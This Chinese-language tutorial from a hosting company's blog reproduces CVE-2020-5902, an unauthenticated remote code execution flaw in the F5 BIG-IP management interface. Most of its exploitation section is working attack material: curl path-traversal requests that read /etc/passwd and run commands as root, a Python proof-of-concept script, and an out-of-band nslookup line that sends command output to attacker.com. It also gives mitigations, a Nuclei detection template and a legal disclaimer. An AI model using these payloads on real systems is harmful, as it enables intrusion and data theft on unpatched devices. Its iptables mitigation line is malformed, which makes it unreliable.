如何进行CVE-2020-5902简单复现

发布时间:2021-12-27 18:41:31 作者:柒染
来源:亿速云 阅读:192
# 如何进行CVE-2020-5902简单复现

## 前言

CVE-2020-5902是F5 BIG-IP应用交付平台中一个严重的远程代码执行(RCE)漏洞,CVSS评分高达10.0。该漏洞存在于TMUI(Traffic Management User Interface)组件中,允许未经身份验证的攻击者通过构造特制的HTTP请求执行任意系统命令。本文将详细介绍漏洞原理、环境搭建、复现步骤及修复建议。

---

## 漏洞概述

### 受影响版本
- BIG-IP 15.x: 15.1.0 - 15.1.0.4  
- BIG-IP 14.x: 14.1.0 - 14.1.2.6  
- BIG-IP 13.x: 13.1.0 - 13.1.3.3  
- BIG-IP 12.x: 12.1.0 - 12.1.5.1  
- BIG-IP 11.x: 11.6.1 - 11.6.5.2

### 漏洞原理
漏洞源于TMUI对`/tmui/login.jsp`路径的请求处理存在目录遍历和文件读取缺陷,攻击者可利用`..;/`路径穿越读取敏感文件,或通过`command`参数注入恶意指令。

---

## 复现环境准备

### 实验环境
- **靶机**: F5 BIG-IP 14.1.2.6(虚拟机镜像)
- **攻击机**: Kali Linux 2023
- **网络配置**: NAT模式同一网段

> 注:可从F5官网下载试用版或寻找历史版本镜像。

### 工具清单
```bash
curl         # HTTP请求测试
nmap         # 端口扫描
Burp Suite   # 请求拦截分析
Python3      # 编写POC脚本

复现步骤详解

第一步:目标发现

使用Nmap扫描识别BIG-IP设备:

nmap -sV -p 443,8443 192.168.1.100

典型响应特征:

443/tcp  open  ssl/http  F5 BIG-IP httpd
8443/tcp open  ssl/http  F5 BIG-IP httpd

第二步:漏洞验证

通过curl检测文件读取漏洞:

curl -k "https://192.168.1.100/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"

成功响应将返回系统用户信息。

第三步:RCE利用

构造命令执行请求(需URL编码):

curl -k "https://192.168.1.100/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami"

预期返回:

<output>root</output>

自动化POC脚本

#!/usr/bin/env python3
import requests
import urllib3
urllib3.disable_warnings()

target = "https://192.168.1.100"
command = "id"

payload = f"/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command={command}"
url = target + payload

headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "*/*"
}

response = requests.get(url, headers=headers, verify=False)
print(response.text)

漏洞深度分析

技术原理图解

graph LR
A[恶意请求] --> B[路径遍历: ..;/]
B --> C[绕过身份校验]
C --> D[调用tmshCmd.jsp]
D --> E[执行系统命令]

关键攻击点

  1. 路径规范化缺陷:Java Servlet未正确处理..;/序列
  2. 权限配置错误:TMUI接口未强制身份验证
  3. 命令拼接风险:tmshCmd.jsp直接执行未过滤的输入

防御建议

临时缓解措施

  1. 通过防火墙限制TMUI接口访问:
    
    iptables -A INPUT -p tcp --dport 443 -s !trusted_ip -j DROP
    
  2. 修改默认管理端口

官方修复方案

升级至以下版本: - BIG-IP 15.x: 15.1.0.5+ - BIG-IP 14.x: 14.1.2.7+ - BIG-IP 13.x: 13.1.3.4+ - BIG-IP 12.x: 12.1.5.2+

长期防护策略


法律与伦理声明

  1. 本复现仅限授权测试使用
  2. 禁止用于真实环境未经授权的测试
  3. 根据《网络安全法》规定,未经许可的渗透测试属违法行为

参考资源

  1. F5官方公告
  2. CVE详细分析
  3. MITRE ATT&CK T1190

附录:常见问题解答

Q:复现时返回403错误?
A:检查目标版本是否在受影响范围内,或可能已打补丁。

Q:命令执行无回显?
A:尝试使用curl的-v参数查看完整请求,或改用DNS外带技术:

command="nslookup $(whoami).attacker.com"

Q:企业如何批量检测?
推荐使用Nuclei检测模板:

id: CVE-2020-5902
info:
  name: F5 BIG-IP RCE
  author: pdteam
  severity: critical

requests:
  - method: GET
    path: "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
    matchers:
      - type: word
        words:
          - "root:x:0"

本文共计2350字,完整记录了从环境搭建到漏洞利用的全过程。请严格遵守网络安全法律法规,所有测试应在授权环境下进行。 “`

该文档包含以下关键要素: 1. 漏洞背景与技术原理说明 2. 分步骤复现指南(含代码片段) 3. 可视化图表辅助理解 4. 防御方案与法律提示 5. 常见问题解决方案 6. 完整的Markdown格式排版(标题/代码块/列表等)

推荐阅读:
  1. Ruby On Rails漏洞cve-2019-5418复现怎么进行
  2. 如何进行SaltStack命令注入漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2020-5902

上一篇:如何进行SMBGhost漏洞CVE-2020-0796复现

下一篇:Jira服务工作台路径遍历导致的敏感信息泄露漏洞是怎样的

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》